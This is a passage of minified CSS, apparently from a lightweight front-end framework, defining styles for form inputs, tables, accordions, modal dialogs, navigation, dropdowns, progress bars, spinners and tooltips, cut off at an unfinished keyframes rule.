:is(input:not([type="submit"],[type="button"],[type="reset"]),select,textarea){--background-color:var(--form-element-disabled-background-color);--border-color:var(--form-element-disabled-border-color);opacity:var(--form-element-disabled-opacity);pointer-events:none}:where(input,select,textarea):not([type="checkbox"],[type="radio"],[type="date"],[type="datetime-local"],[type="month"],[type="time"],[type="week"])[aria-invalid]{padding-right:calc(var(--form-element-spacing-horizontal) + 1.5rem)!important;padding-left:var(--form-element-spacing-horizontal);-webkit-padding-start:var(--form-element-spacing-horizontal)!important;padding-inline-start:var(--form-element-spacing-horizontal)!important;-webkit-padding-end:calc(var(--form-element-spacing-horizontal) + 1.5rem)!important;padding-inline-end:calc(var(--form-element-spacing-horizontal) + 1.5rem)!important;background-position:center right 0.75rem;background-size:1rem auto;background-repeat:no-repeat}:where(input,select,textarea):not([type="checkbox"],[type="radio"],[type="date"],[type="datetime-local"],[type="month"],[type="time"],[type="week"])[aria-invalid="false"]{background-image:var(--icon-valid)}:where(input,select,textarea):not([type="checkbox"],[type="radio"],[type="date"],[type="datetime-local"],[type="month"],[type="time"],[type="week"])[aria-invalid="true"]{background-image:var(--icon-invalid)}:where(input,select,textarea)[aria-invalid="false"]{--border-color:var(--form-element-valid-border-color)}:where(input,select,textarea)[aria-invalid="false"]:is(:active,:focus){--border-color:var(--form-element-valid-active-border-color)!important;--box-shadow:0 0 0 var(--outline-width) var(--form-element-valid-focus-color)!important}:where(input,select,textarea)[aria-invalid="true"]{--border-color:var(--form-element-invalid-border-color)}:where(input,select,textarea)[aria-invalid="true"]:is(:active,:focus){--border-color:var(--form-element-invalid-active-border-color)!important;--box-shadow:0 0 0 var(--outline-width) var(--form-element-invalid-focus-color)!important}[dir="rtl"] :where(input,select,textarea):not([type="checkbox"],[type="radio"]):is([aria-invalid],[aria-invalid="true"],[aria-invalid="false"]){background-position:center left 0.75rem}input::placeholder,input::-webkit-input-placeholder,textarea::placeholder,textarea::-webkit-input-placeholder,select:invalid{color:var(--form-element-placeholder-color);opacity:1}input:not([type="checkbox"],[type="radio"]),select,textarea{margin-bottom:var(--spacing)}select::-ms-expand{border:0;background-color:transparent}select:not([multiple],[size]){padding-right:calc(var(--form-element-spacing-horizontal) + 1.5rem);padding-left:var(--form-element-spacing-horizontal);-webkit-padding-start:var(--form-element-spacing-horizontal);padding-inline-start:var(--form-element-spacing-horizontal);-webkit-padding-end:calc(var(--form-element-spacing-horizontal) + 1.5rem);padding-inline-end:calc(var(--form-element-spacing-horizontal) + 1.5rem);background-image:var(--icon-chevron);background-position:center right 0.75rem;background-size:1rem auto;background-repeat:no-repeat}[dir="rtl"] select:not([multiple],[size]){background-position:center left 0.75rem}:where(input,select,textarea)+small{display:block;width:100%;margin-top:calc(var(--spacing)*-0.75);margin-bottom:var(--spacing);color:var(--muted-color)}label>:where(input,select,textarea){margin-top:calc(var(--spacing)*0.25)}[type="checkbox"],[type="radio"]{-webkit-appearance:none;-moz-appearance:none;appearance:none;width:1.25em;height:1.25em;margin-top:-0.125em;margin-right:0.375em;margin-left:0;-webkit-margin-start:0;margin-inline-start:0;-webkit-margin-end:0.375em;margin-inline-end:0.375em;border-width:var(--border-width);font-size:inherit;vertical-align:middle;cursor:pointer}[type="checkbox"]::-ms-check,[type="radio"]::-ms-check{display:none}[type="checkbox"]:checked,[type="checkbox"]:checked:active,[type="checkbox"]:checked:focus,[type="radio"]:checked,[type="radio"]:checked:active,[type="radio"]:checked:focus{--background-color:var(--primary);--border-color:var(--primary);background-image:var(--icon-checkbox);background-position:center;background-size:0.75em auto;background-repeat:no-repeat}[type="checkbox"]~label,[type="radio"]~label{display:inline-block;margin-right:0.375em;margin-bottom:0;cursor:pointer}[type="checkbox"]:indeterminate{--background-color:var(--primary);--border-color:var(--primary);background-image:var(--icon-minus);background-position:center;background-size:0.75em auto;background-repeat:no-repeat}[type="radio"]{border-radius:50%}[type="radio"]:checked,[type="radio"]:checked:active,[type="radio"]:checked:focus{--background-color:var(--primary-inverse);border-width:0.35em;background-image:none}[type="checkbox"][role="switch"]{--background-color:var(--switch-background-color);--border-color:var(--switch-background-color);--color:var(--switch-color);width:2.25em;height:1.25em;border:var(--border-width) solid var(--border-color);border-radius:1.25em;background-color:var(--background-color);line-height:1.25em}[type="checkbox"][role="switch"]:focus{--background-color:var(--switch-background-color);--border-color:var(--switch-background-color)}[type="checkbox"][role="switch"]:checked{--background-color:var(--switch-checked-background-color);--border-color:var(--switch-checked-background-color)}[type="checkbox"][role="switch"]:before{display:block;width:calc(1.25em - (var(--border-width)*2));height:100%;border-radius:50%;background-color:var(--color);content:"";transition:margin 0.1s ease-in-out}[type="checkbox"][role="switch"]:checked{background-image:none}[type="checkbox"][role="switch"]:checked::before{margin-left:calc(1.125em - var(--border-width));-webkit-margin-start:calc(1.125em - var(--border-width));margin-inline-start:calc(1.125em - var(--border-width))}[type="checkbox"][aria-invalid="false"],[type="checkbox"]:checked[aria-invalid="false"],[type="radio"][aria-invalid="false"],[type="radio"]:checked[aria-invalid="false"],[type="checkbox"][role="switch"][aria-invalid="false"],[type="checkbox"][role="switch"]:checked[aria-invalid="false"]{--border-color:var(--form-element-valid-border-color)}[type="checkbox"][aria-invalid="true"],[type="checkbox"]:checked[aria-invalid="true"],[type="radio"][aria-invalid="true"],[type="radio"]:checked[aria-invalid="true"],[type="checkbox"][role="switch"][aria-invalid="true"],[type="checkbox"][role="switch"]:checked[aria-invalid="true"]{--border-color:var(--form-element-invalid-border-color)}[type="color"]::-webkit-color-swatch-wrapper{padding:0}[type="color"]::-moz-focus-inner{padding:0}[type="color"]::-webkit-color-swatch{border:0;border-radius:calc(var(--border-radius)*0.5)}[type="color"]::-moz-color-swatch{border:0;border-radius:calc(var(--border-radius)*0.5)}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"]):is([type="date"],[type="datetime-local"],[type="month"],[type="time"],[type="week"]){--icon-position:0.75rem;--icon-width:1rem;padding-right:calc(var(--icon-width) + var(--icon-position));background-image:var(--icon-date);background-position:center right var(--icon-position);background-size:var(--icon-width) auto;background-repeat:no-repeat}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="time"]{background-image:var(--icon-time)}[type="date"]::-webkit-calendar-picker-indicator,[type="datetime-local"]::-webkit-calendar-picker-indicator,[type="month"]::-webkit-calendar-picker-indicator,[type="time"]::-webkit-calendar-picker-indicator,[type="week"]::-webkit-calendar-picker-indicator{width:var(--icon-width);margin-right:calc(var(--icon-width)*-1);margin-left:var(--icon-position);opacity:0}[dir="rtl"] :is([type="date"],[type="datetime-local"],[type="month"],[type="time"],[type="week"]){text-align:right}[type="file"]{--color:var(--muted-color);padding:calc(var(--form-element-spacing-vertical)*0.5)0;border:0;border-radius:0;background:none}[type="file"]::file-selector-button{--background-color:var(--secondary);--border-color:var(--secondary);--color:var(--secondary-inverse);margin-right:calc(var(--spacing)/2);margin-left:0;-webkit-margin-start:0;margin-inline-start:0;-webkit-margin-end:calc(var(--spacing)/2);margin-inline-end:calc(var(--spacing)/2);padding:calc(var(--form-element-spacing-vertical)*0.5) calc(var(--form-element-spacing-horizontal)*0.5);border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);font-size:1rem;line-height:var(--line-height);text-align:center;cursor:pointer;transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}[type="file"]::file-selector-button:is(:hover,:active,:focus){--background-color:var(--secondary-hover);--border-color:var(--secondary-hover)}[type="file"]::-webkit-file-upload-button{--background-color:var(--secondary);--border-color:var(--secondary);--color:var(--secondary-inverse);margin-right:calc(var(--spacing)/2);margin-left:0;-webkit-margin-start:0;margin-inline-start:0;-webkit-margin-end:calc(var(--spacing)/2);margin-inline-end:calc(var(--spacing)/2);padding:calc(var(--form-element-spacing-vertical)*0.5) calc(var(--form-element-spacing-horizontal)*0.5);border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);font-size:1rem;line-height:var(--line-height);text-align:center;cursor:pointer;-webkit-transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition);transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}[type="file"]::-webkit-file-upload-button:is(:hover,:active,:focus){--background-color:var(--secondary-hover);--border-color:var(--secondary-hover)}[type="file"]::-ms-browse{--background-color:var(--secondary);--border-color:var(--secondary);--color:var(--secondary-inverse);margin-right:calc(var(--spacing)/2);margin-left:0;margin-inline-start:0;margin-inline-end:calc(var(--spacing)/2);padding:calc(var(--form-element-spacing-vertical)*0.5) calc(var(--form-element-spacing-horizontal)*0.5);border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);font-size:1rem;line-height:var(--line-height);text-align:center;cursor:pointer;-ms-transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition);transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}[type="file"]::-ms-browse:is(:hover,:active,:focus){--background-color:var(--secondary-hover);--border-color:var(--secondary-hover)}[type="range"]{-webkit-appearance:none;-moz-appearance:none;appearance:none;width:100%;height:1.25rem;background:none}[type="range"]::-webkit-slider-runnable-track{width:100%;height:0.25rem;border-radius:var(--border-radius);background-color:var(--range-border-color);-webkit-transition:background-color var(--transition),box-shadow var(--transition);transition:background-color var(--transition),box-shadow var(--transition)}[type="range"]::-moz-range-track{width:100%;height:0.25rem;border-radius:var(--border-radius);background-color:var(--range-border-color);-moz-transition:background-color var(--transition),box-shadow var(--transition);transition:background-color var(--transition),box-shadow var(--transition)}[type="range"]::-ms-track{width:100%;height:0.25rem;border-radius:var(--border-radius);background-color:var(--range-border-color);-ms-transition:background-color var(--transition),box-shadow var(--transition);transition:background-color var(--transition),box-shadow var(--transition)}[type="range"]::-webkit-slider-thumb{-webkit-appearance:none;width:1.25rem;height:1.25rem;margin-top:-0.5rem;border:2px solid var(--range-thumb-border-color);border-radius:50%;background-color:var(--range-thumb-color);cursor:pointer;-webkit-transition:background-color var(--transition),transform var(--transition);transition:background-color var(--transition),transform var(--transition)}[type="range"]::-moz-range-thumb{-webkit-appearance:none;width:1.25rem;height:1.25rem;margin-top:-0.5rem;border:2px solid var(--range-thumb-border-color);border-radius:50%;background-color:var(--range-thumb-color);cursor:pointer;-moz-transition:background-color var(--transition),transform var(--transition);transition:background-color var(--transition),transform var(--transition)}[type="range"]::-ms-thumb{-webkit-appearance:none;width:1.25rem;height:1.25rem;margin-top:-0.5rem;border:2px solid var(--range-thumb-border-color);border-radius:50%;background-color:var(--range-thumb-color);cursor:pointer;-ms-transition:background-color var(--transition),transform var(--transition);transition:background-color var(--transition),transform var(--transition)}[type="range"]:hover,[type="range"]:focus{--range-border-color:var(--range-active-border-color);--range-thumb-color:var(--range-thumb-hover-color)}[type="range"]:active{--range-thumb-color:var(--range-thumb-active-color)}[type="range"]:active::-webkit-slider-thumb{transform:scale(1.25)}[type="range"]:active::-moz-range-thumb{transform:scale(1.25)}[type="range"]:active::-ms-thumb{transform:scale(1.25)}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"]{-webkit-padding-start:calc(var(--form-element-spacing-horizontal) + 1.75rem);padding-inline-start:calc(var(--form-element-spacing-horizontal) + 1.75rem);border-radius:5rem;background-image:var(--icon-search);background-position:center left 1.125rem;background-size:1rem auto;background-repeat:no-repeat}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"][aria-invalid]{-webkit-padding-start:calc(var(--form-element-spacing-horizontal) + 1.75rem)!important;padding-inline-start:calc(var(--form-element-spacing-horizontal) + 1.75rem)!important;background-position:center left 1.125rem,center right 0.75rem}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"][aria-invalid="false"]{background-image:var(--icon-search),var(--icon-valid)}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"][aria-invalid="true"]{background-image:var(--icon-search),var(--icon-invalid)}[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none;display:none}[dir="rtl"] :where(input):not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"]{background-position:center right 1.125rem}[dir="rtl"] :where(input):not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"][aria-invalid]{background-position:center right 1.125rem,center left 0.75rem}:where(table){width:100%;border-collapse:collapse;border-spacing:0;text-indent:0}th,td{padding:calc(var(--spacing)/2) var(--spacing);border-bottom:var(--border-width) solid var(--table-border-color);color:var(--color);font-weight:var(--font-weight);font-size:var(--font-size);text-align:left;text-align:start}tfoot th,tfoot td{border-top:var(--border-width) solid var(--table-border-color);border-bottom:0}table[role="grid"] tbody tr:nth-child(odd){background-color:var(--table-row-stripped-background-color)}pre,code,kbd,samp{font-size:0.875em;font-family:var(--font-family)}pre{-ms-overflow-style:scrollbar;overflow:auto}pre,code,kbd{border-radius:var(--border-radius);background:var(--code-background-color);color:var(--code-color);font-weight:var(--font-weight);line-height:initial}code,kbd{display:inline-block;padding:0.375rem 0.5rem}pre{display:block;margin-bottom:var(--spacing);overflow-x:auto}pre>code{display:block;padding:var(--spacing);background:none;font-size:14px;line-height:var(--line-height)}code b{color:var(--code-tag-color);font-weight:var(--font-weight)}code i{color:var(--code-property-color);font-style:normal}code u{color:var(--code-value-color);text-decoration:none}code em{color:var(--code-comment-color);font-style:normal}kbd{background-color:var(--code-kbd-background-color);color:var(--code-kbd-color);vertical-align:baseline}hr{height:0;border:0;border-top:1px solid var(--muted-border-color);color:inherit}[hidden],template{display:none!important}canvas{display:inline-block}details{display:block;margin-bottom:var(--spacing);padding-bottom:var(--spacing);border-bottom:var(--border-width) solid var(--accordion-border-color)}details summary{line-height:1rem;list-style-type:none;cursor:pointer;transition:color var(--transition)}details summary:not([role]){color:var(--accordion-close-summary-color)}details summary::-webkit-details-marker{display:none}details summary::marker{display:none}details summary::-moz-list-bullet{list-style-type:none}details summary::after{display:block;width:1rem;height:1rem;-webkit-margin-start:calc(var(--spacing,1rem)*0.5);margin-inline-start:calc(var(--spacing,1rem)*0.5);float:right;transform:rotate(-90deg);background-image:var(--icon-chevron);background-position:right center;background-size:1rem auto;background-repeat:no-repeat;content:"";transition:transform var(--transition)}details summary:focus{outline:none}details summary:focus:not([role="button"]){color:var(--accordion-active-summary-color)}details summary[role="button"]{width:100%;text-align:left}details summary[role="button"]::after{height:calc(1rem*var(--line-height,1.5));background-image:var(--icon-chevron-button)}details summary[role="button"]:not(.outline).contrast::after{background-image:var(--icon-chevron-button-inverse)}details[open]>summary{margin-bottom:calc(var(--spacing))}details[open]>summary:not([role]):not(:focus){color:var(--accordion-open-summary-color)}details[open]>summary::after{transform:rotate(0)}[dir="rtl"] details summary{text-align:right}[dir="rtl"] details summary::after{float:left;background-position:left center}article{margin:var(--block-spacing-vertical)0;padding:var(--block-spacing-vertical) var(--block-spacing-horizontal);border-radius:var(--border-radius);background:var(--card-background-color);box-shadow:var(--card-box-shadow)}article>header,article>footer{margin-right:calc(var(--block-spacing-horizontal)*-1);margin-left:calc(var(--block-spacing-horizontal)*-1);padding:calc(var(--block-spacing-vertical)*0.66) var(--block-spacing-horizontal);background-color:var(--card-sectionning-background-color)}article>header{margin-top:calc(var(--block-spacing-vertical)*-1);margin-bottom:var(--block-spacing-vertical);border-bottom:var(--border-width) solid var(--card-border-color);border-top-right-radius:var(--border-radius);border-top-left-radius:var(--border-radius)}article>footer{margin-top:var(--block-spacing-vertical);margin-bottom:calc(var(--block-spacing-vertical)*-1);border-top:var(--border-width) solid var(--card-border-color);border-bottom-right-radius:var(--border-radius);border-bottom-left-radius:var(--border-radius)}#mount{--scrollbar-width:0px}dialog{display:flex;z-index:999;position:fixed;top:0;right:0;bottom:0;left:0;align-items:center;justify-content:center;width:inherit;min-width:100%;height:inherit;min-height:100%;padding:var(--spacing);border:0;-webkit-backdrop-filter:var(--modal-overlay-backdrop-filter);backdrop-filter:var(--modal-overlay-backdrop-filter);background-color:var(--modal-overlay-background-color);color:var(--color)}dialog article{max-height:calc(100vh - var(--spacing)*2);overflow:auto}@media (min-width:576px){dialog article{max-width:510px}}@media (min-width:768px){dialog article{max-width:700px}}dialog article>header,dialog article>footer{padding:calc(var(--block-spacing-vertical)*0.5) var(--block-spacing-horizontal)}dialog article>header .close{margin:0;margin-left:var(--spacing);float:right}dialog article>footer{text-align:right}dialog article>footer [role="button"]{margin-bottom:0}dialog article>footer [role="button"]:not(:first-of-type){margin-left:calc(var(--spacing)*0.5)}dialog article p:last-of-type{margin:0}dialog article .close{display:block;width:1rem;height:1rem;margin-top:calc(var(--block-spacing-vertical)*-0.5);margin-bottom:var(--typography-spacing-vertical);margin-left:auto;background-image:var(--icon-close);background-position:center;background-size:auto 1rem;background-repeat:no-repeat;opacity:0.5;transition:opacity var(--transition)}dialog article .close:is([aria-current],:hover,:active,:focus){opacity:1}dialog:not([open]),dialog[open="false"]{display:none}.modal-is-open{padding-right:var(--scrollbar-width,0px);overflow:hidden;pointer-events:none}.modal-is-open dialog{pointer-events:auto}:where(.modal-is-opening,.modal-is-closing) dialog,:where(.modal-is-opening,.modal-is-closing) dialog>article{animation-duration:0.2s;animation-timing-function:ease-in-out;animation-fill-mode:both}:where(.modal-is-opening,.modal-is-closing) dialog{animation-duration:0.8s;animation-name:modal-overlay}:where(.modal-is-opening,.modal-is-closing) dialog>article{animation-delay:0.2s;animation-name:modal}.modal-is-closing dialog,.modal-is-closing dialog>article{animation-delay:0s;animation-direction:reverse}@keyframes modal-overlay{from{-webkit-backdrop-filter:none;backdrop-filter:none;background-color:transparent}}@keyframes modal{from{transform:translateY(-100%);opacity:0}}:where(nav li)::before{float:left;content:""}nav,nav ul{display:flex}nav{justify-content:space-between}nav ol,nav ul{align-items:center;margin-bottom:0;padding:0;list-style:none}nav ol:first-of-type,nav ul:first-of-type{margin-left:calc(var(--nav-element-spacing-horizontal)*-1)}nav ol:last-of-type,nav ul:last-of-type{margin-right:calc(var(--nav-element-spacing-horizontal)*-1)}nav li{display:inline-block;margin:0;padding:var(--nav-element-spacing-vertical) var(--nav-element-spacing-horizontal)}nav li>*{--spacing:0}nav :where(a,[role="link"]){display:inline-block;margin:calc(var(--nav-link-spacing-vertical)*-1) calc(var(--nav-link-spacing-horizontal)*-1);padding:var(--nav-link-spacing-vertical) var(--nav-link-spacing-horizontal);border-radius:var(--border-radius);text-decoration:none}nav :where(a,[role="link"]):is([aria-current],:hover,:active,:focus){text-decoration:none}nav[aria-label="breadcrumb"]{align-items:center;justify-content:start}nav[aria-label="breadcrumb"] ul li:not(:first-child){-webkit-margin-start:var(--nav-link-spacing-horizontal);margin-inline-start:var(--nav-link-spacing-horizontal)}nav[aria-label="breadcrumb"] ul li:not(:last-child) ::after{position:absolute;width:calc(var(--nav-link-spacing-horizontal)*2);-webkit-margin-start:calc(var(--nav-link-spacing-horizontal)/2);margin-inline-start:calc(var(--nav-link-spacing-horizontal)/2);content:"/";color:var(--muted-color);text-align:center}nav[aria-label="breadcrumb"] a[aria-current]{background-color:transparent;color:inherit;text-decoration:none;pointer-events:none}nav [role="button"]{margin-right:inherit;margin-left:inherit;padding:var(--nav-link-spacing-vertical) var(--nav-link-spacing-horizontal)}aside nav,aside ol,aside ul,aside li{display:block}aside li{padding:calc(var(--nav-element-spacing-vertical)*0.5) var(--nav-element-spacing-horizontal)}aside li a{display:block}aside li [role="button"]{margin:inherit}[dir="rtl"] nav[aria-label="breadcrumb"] ul li:not(:last-child) ::after{content:"\\"}progress{display:inline-block;vertical-align:baseline}progress{-webkit-appearance:none;-moz-appearance:none;display:inline-block;appearance:none;width:100%;height:0.5rem;margin-bottom:calc(var(--spacing)*0.5);overflow:hidden;border:0;border-radius:var(--border-radius);background-color:var(--progress-background-color);color:var(--progress-color)}progress::-webkit-progress-bar{border-radius:var(--border-radius);background:none}progress[value]::-webkit-progress-value{background-color:var(--progress-color)}progress::-moz-progress-bar{background-color:var(--progress-color)}@media (prefers-reduced-motion:no-preference){progress:indeterminate{background:var(--progress-background-color) linear-gradient(to right,var(--progress-color) 30%,var(--progress-background-color) 30%) top left/150% 150%no-repeat;animation:progress-indeterminate 1s linear infinite}progress:indeterminate[value]::-webkit-progress-value{background-color:transparent}progress:indeterminate::-moz-progress-bar{background-color:transparent}}@media (prefers-reduced-motion:no-preference){[dir="rtl"] progress:indeterminate{animation-direction:reverse}}@keyframes progress-indeterminate{0%{background-position:200%0}100%{background-position:-200%0}}details[role="list"],li[role="list"]{position:relative}details[role="list"] summary+ul,li[role="list"]>ul{display:flex;z-index:99;position:absolute;top:auto;right:0;left:0;flex-direction:column;margin:0;padding:0;border:var(--border-width) solid var(--dropdown-border-color);border-radius:var(--border-radius);border-top-right-radius:0;border-top-left-radius:0;background-color:var(--dropdown-background-color);box-shadow:var(--card-box-shadow);color:var(--dropdown-color);white-space:nowrap}details[role="list"] summary+ul li,li[role="list"]>ul li{width:100%;margin-bottom:0;padding:calc(var(--form-element-spacing-vertical)*0.5) var(--form-element-spacing-horizontal);list-style:none}details[role="list"] summary+ul li:first-of-type,li[role="list"]>ul li:first-of-type{margin-top:calc(var(--form-element-spacing-vertical)*0.5)}details[role="list"] summary+ul li:last-of-type,li[role="list"]>ul li:last-of-type{margin-bottom:calc(var(--form-element-spacing-vertical)*0.5)}details[role="list"] summary+ul li a,li[role="list"]>ul li a{display:block;margin:calc(var(--form-element-spacing-vertical)*-0.5) calc(var(--form-element-spacing-horizontal)*-1);padding:calc(var(--form-element-spacing-vertical)*0.5) var(--form-element-spacing-horizontal);overflow:hidden;color:var(--dropdown-color);text-decoration:none;text-overflow:ellipsis}details[role="list"] summary+ul li a:hover,li[role="list"]>ul li a:hover{background-color:var(--dropdown-hover-background-color)}details[role="list"] summary::after,li[role="list"]>a::after{display:block;width:1rem;height:calc(1rem*var(--line-height,1.5));-webkit-margin-start:0.5rem;margin-inline-start:0.5rem;float:right;transform:rotate(0deg);background-position:right center;background-size:1rem auto;background-repeat:no-repeat;content:""}details[role="list"]{padding:0;border-bottom:none}details[role="list"] summary{margin-bottom:0}details[role="list"] summary:not([role]){height:calc(1rem*var(--line-height) + var(--form-element-spacing-vertical)*2 + var(--border-width)*2);padding:var(--form-element-spacing-vertical) var(--form-element-spacing-horizontal);border:var(--border-width) solid var(--form-element-border-color);border-radius:var(--border-radius);background-color:var(--form-element-background-color);color:var(--form-element-placeholder-color);line-height:inherit;cursor:pointer;transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}details[role="list"] summary:not([role]):active,details[role="list"] summary:not([role]):focus{border-color:var(--form-element-active-border-color);background-color:var(--form-element-active-background-color)}details[role="list"] summary:not([role]):focus{box-shadow:0 0 0 var(--outline-width) var(--form-element-focus-color)}details[role="list"][open] summary{border-bottom-right-radius:0;border-bottom-left-radius:0}details[role="list"][open] summary::before{display:block;z-index:1;position:fixed;top:0;right:0;bottom:0;left:0;background:none;content:"";cursor:default}nav details[role="list"] summary,nav li[role="list"] a{display:flex;direction:ltr}nav details[role="list"] summary+ul,nav li[role="list"]>ul{min-width:-moz-fit-content;min-width:fit-content;border-radius:var(--border-radius)}nav details[role="list"] summary+ul li a,nav li[role="list"]>ul li a{border-radius:0}nav details[role="list"] summary,nav details[role="list"] summary:not([role]){height:auto;padding:var(--nav-link-spacing-vertical) var(--nav-link-spacing-horizontal)}nav details[role="list"][open] summary{border-radius:var(--border-radius)}nav details[role="list"] summary+ul{margin-top:var(--outline-width);-webkit-margin-start:0;margin-inline-start:0}nav details[role="list"] summary[role="link"]{margin-bottom:calc(var(--nav-link-spacing-vertical)*-1);line-height:var(--line-height)}nav details[role="list"] summary[role="link"]+ul{margin-top:calc(var(--nav-link-spacing-vertical) + var(--outline-width));-webkit-margin-start:calc(var(--nav-link-spacing-horizontal)*-1);margin-inline-start:calc(var(--nav-link-spacing-horizontal)*-1)}li[role="list"]:hover>ul,li[role="list"] a:active~ul,li[role="list"] a:focus~ul{display:flex}li[role="list"]>ul{display:none;margin-top:calc(var(--nav-link-spacing-vertical) + var(--outline-width));-webkit-margin-start:calc(var(--nav-element-spacing-horizontal) - var(--nav-link-spacing-horizontal));margin-inline-start:calc(var(--nav-element-spacing-horizontal) - var(--nav-link-spacing-horizontal))}li[role="list"]>a::after{background-image:var(--icon-chevron)}[aria-busy="true"]{cursor:progress}[aria-busy="true"]:not(input,select,textarea)::before{display:inline-block;width:1em;height:1em;border:0.1875em solid currentColor;border-radius:1em;border-right-color:transparent;content:"";vertical-align:text-bottom;vertical-align:-0.125em;animation:spinner 0.75s linear infinite;opacity:var(--loading-spinner-opacity)}[aria-busy="true"]:not(input,select,textarea):not(:empty)::before{margin-right:calc(var(--spacing)*0.5);margin-left:0;-webkit-margin-start:0;margin-inline-start:0;-webkit-margin-end:calc(var(--spacing)*0.5);margin-inline-end:calc(var(--spacing)*0.5)}[aria-busy="true"]:not(input,select,textarea):empty{text-align:center}button[aria-busy="true"],input[type="submit"][aria-busy="true"],input[type="button"][aria-busy="true"],input[type="reset"][aria-busy="true"],a[aria-busy="true"]{pointer-events:none}@keyframes spinner{to{transform:rotate(360deg)}}[data-tooltip]{position:relative}[data-tooltip]:not(a,button,input){border-bottom:1px dotted;text-decoration:none;cursor:help}[data-tooltip][data-placement="top"]::before,[data-tooltip][data-placement="top"]::after,[data-tooltip]::before,[data-tooltip]::after{display:block;z-index:99;position:absolute;bottom:100%;left:50%;padding:0.25rem 0.5rem;overflow:hidden;transform:translate(-50%,-0.25rem);border-radius:var(--border-radius);background:var(--tooltip-background-color);content:attr(data-tooltip);color:var(--tooltip-color);font-style:normal;font-weight:var(--font-weight);font-size:0.875rem;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;opacity:0;pointer-events:none}[data-tooltip][data-placement="top"]::after,[data-tooltip]::after{padding:0;transform:translate(-50%,0rem);border-top:0.3rem solid;border-right:0.3rem solid transparent;border-left:0.3rem solid transparent;border-radius:0;background-color:transparent;content:"";color:var(--tooltip-background-color)}[data-tooltip][data-placement="bottom"]::before,[data-tooltip][data-placement="bottom"]::after{top:100%;bottom:auto;transform:translate(-50%,0.25rem)}[data-tooltip][data-placement="bottom"]:after{transform:translate(-50%,-0.3rem);border:0.3rem solid transparent;border-bottom:0.3rem solid}[data-tooltip][data-placement="left"]::before,[data-tooltip][data-placement="left"]::after{top:50%;right:100%;bottom:auto;left:auto;transform:translate(-0.25rem,-50%)}[data-tooltip][data-placement="left"]:after{transform:translate(0.3rem,-50%);border:0.3rem solid transparent;border-left:0.3rem solid}[data-tooltip][data-placement="right"]::before,[data-tooltip][data-placement="right"]::after{top:50%;right:auto;bottom:auto;left:100%;transform:translate(0.25rem,-50%)}[data-tooltip][data-placement="right"]:after{transform:translate(-0.3rem,-50%);border:0.3rem solid transparent;border-right:0.3rem solid}[data-tooltip]:focus::before,[data-tooltip]:focus::after,[data-tooltip]:hover::before,[data-tooltip]:hover::after{opacity:1}@media (hover:hover) and (pointer:fine){[data-tooltip][data-placement="bottom"]:focus::before,[data-tooltip][data-placement="bottom"]:focus::after,[data-tooltip][data-placement="bottom"]:hover [data-tooltip]:focus::before,[data-tooltip][data-placement="bottom"]:hover [data-tooltip]:focus::after,[data-tooltip]:hover::before,[data-tooltip]:hover::after{animation-duration:0.2s;animation-name:tooltip-slide-top}[data-tooltip][data-placement="bottom"]:focus::after,[data-tooltip][data-placement="bottom"]:hover [data-tooltip]:focus::after,[data-tooltip]:hover::after{animation-name:tooltip-caret-slide-top}[data-tooltip][data-placement="bottom"]:focus::before,[data-tooltip][data-placement="bottom"]:focus::after,[data-tooltip][data-placement="bottom"]:hover::before,[data-tooltip][data-placement="bottom"]:hover::after{animation-duration:0.2s;animation-name:tooltip-slide-bottom}[data-tooltip][data-placement="bottom"]:focus::after,[data-tooltip][data-placement="bottom"]:hover::after{animation-name:tooltip-caret-slide-bottom}[data-tooltip][data-placement="left"]:focus::before,[data-tooltip][data-placement="left"]:focus::after,[data-tooltip][data-placement="left"]:hover::before,[data-tooltip][data-placement="left"]:hover::after{animation-duration:0.2s;animation-name:tooltip-slide-left}[data-tooltip][data-placement="left"]:focus::after,[data-tooltip][data-placement="left"]:hover::after{animation-name:tooltip-caret-slide-left}[data-tooltip][data-placement="right"]:focus::before,[data-tooltip][data-placement="right"]:focus::after,[data-tooltip][data-placement="right"]:hover::before,[data-tooltip][data-placement="right"]:hover::after{animation-duration:0.2s;animation-name:tooltip-slide-right}[data-tooltip][data-placement="right"]:focus::after,[data-tooltip][data-placement="right"]:hover::after{animation-name:tooltip-caret-slide-right}}@keyframes tooltip-slide-top{from{transform:translate(-50%,0.75rem);opacity:0}to{transform:translate(-50%,-0.25rem);opacity:1}}@keyframes tooltip-caret-slide-top{from{opacity:0}50%{transform:translate(-50%,-0.25rem);opacity:0}to{transform:translate(-50%,0rem);opacity:1}}@keyframes tooltip-slide-bottom{from{transform:translate(-50%,-0.75rem);opacity:0}to{transform:translate(-50%,0.25rem);opacity:1}}@keyframes tooltip-caret-slide-bottom{from{opacity:0}50%{transform:translate(-50%,-0.5rem);opacity:0}to{transform:translate(-50%,-0.3rem);opacity:1}}@keyframes tooltip-slide-left{from{transform:translate(0.75rem,-50%);opacity:0}to{transform:translate(-0.25rem,-50%);opacity:1}}@keyframes tooltip-caret-slide-left{from{opacity:0}50%{transform:translate(0.05rem,-50%);opacity:0}to{transform:translate(0.3rem,-50%);opacity:1}}@keyframes 